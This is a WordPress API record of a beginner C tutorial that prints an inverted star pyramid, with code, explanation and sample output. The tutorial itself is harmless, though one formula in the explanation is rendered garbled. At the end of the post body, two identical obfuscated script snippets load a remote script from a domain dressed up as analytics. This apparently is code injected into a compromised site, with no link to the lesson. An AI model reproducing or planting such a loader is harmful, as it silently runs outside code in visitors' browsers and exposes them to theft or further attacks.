{"id":755,"date":"2024-10-10T22:12:44","date_gmt":"2024-10-10T16:42:44","guid":{"rendered":"https:\/\/codexplained.in\/?p=755"},"modified":"2025-11-24T15:53:42","modified_gmt":"2025-11-24T10:23:42","slug":"print-inverted-pyramid-pattern","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=755","title":{"rendered":"Print Inverted Pyramid Pattern"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int rows;\n\n    \/\/ Prompt user for the number of rows\n    printf(&quot;Enter the number of rows for the inverted pyramid: &quot;);\n    scanf(&quot;%d&quot;, &amp;rows);\n\n    \/\/ Outer loop for each row\n    for (int i = 0; i &lt; rows; i++) {\n        \/\/ Inner loop for printing spaces\n        for (int j = 0; j &lt; i; j++) {\n            printf(&quot; &quot;); \/\/ Print space\n        }\n        \/\/ Inner loop for printing stars\n        for (int k = 0; k &lt; (2 * (rows - i) - 1); k++) {\n            printf(&quot;*&quot;); \/\/ Print star\n        }\n        \/\/ Move to the next line after each row\n        printf(&quot;\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation of the Code<\/h2>\n\n\n\n<p><strong>Header Files<\/strong>: The program includes <code>stdio.h<\/code> to use standard input and output functions.<\/p>\n\n\n\n<p><strong>Getting User Input<\/strong>:<\/p>\n\n\n\n<p>We declare an integer variable <code>rows<\/code> to store the number of rows for the inverted pyramid.<\/p>\n\n\n\n<p>We prompt the user to enter the desired number of rows.<\/p>\n\n\n\n<p><strong>Outer Loop<\/strong>:<\/p>\n\n\n\n<p>The outer loop (<code>for (int i = 0; i &lt; rows; i++)<\/code>) runs once for each row of the inverted pyramid.<\/p>\n\n\n\n<p><strong>Inner Loop for Spaces<\/strong>:<\/p>\n\n\n\n<p>The first inner loop (<code>for (int j = 0; j &lt; i; j++)<\/code>) prints spaces to create the indentation. The number of spaces increases as we move down the rows.<\/p>\n\n\n\n<p><strong>Inner Loop for Stars<\/strong>:<\/p>\n\n\n\n<p>The second inner loop (<code>for (int k = 0; k &lt; (2 * (rows - i) - 1); k++)<\/code>) prints the stars. The number of stars decreases as we go down each row, calculated by 2\u00d7(rows\u2212i)\u221212 \\times (\\text{rows} &#8211; i) &#8211; 12\u00d7(rows\u2212i)\u22121.<\/p>\n\n\n\n<p><strong>New Line<\/strong>:<\/p>\n\n\n\n<p>After printing the stars for each row, we use <code>printf(\"\\n\")<\/code> to move to the next line.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Output:<\/h2>\n\n\n\n<p>Enter the number of rows: 5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>*********\n *******\n  *****\n   ***\n    *\n<\/code><\/pre>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code Header Files: The program includes stdio.h to use standard input and output functions. Getting User Input: We declare an integer variable rows to store the number of rows for the inverted pyramid. We prompt the user to enter the desired number of rows. Outer Loop: The outer loop (for (int i [&hellip;]<\/p>\n","protected":false},"author":38,"featured_media":766,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-755","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/755","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=755"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/755\/revisions"}],"predecessor-version":[{"id":1451,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/755\/revisions\/1451"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/766"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=755"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=755"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=755"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}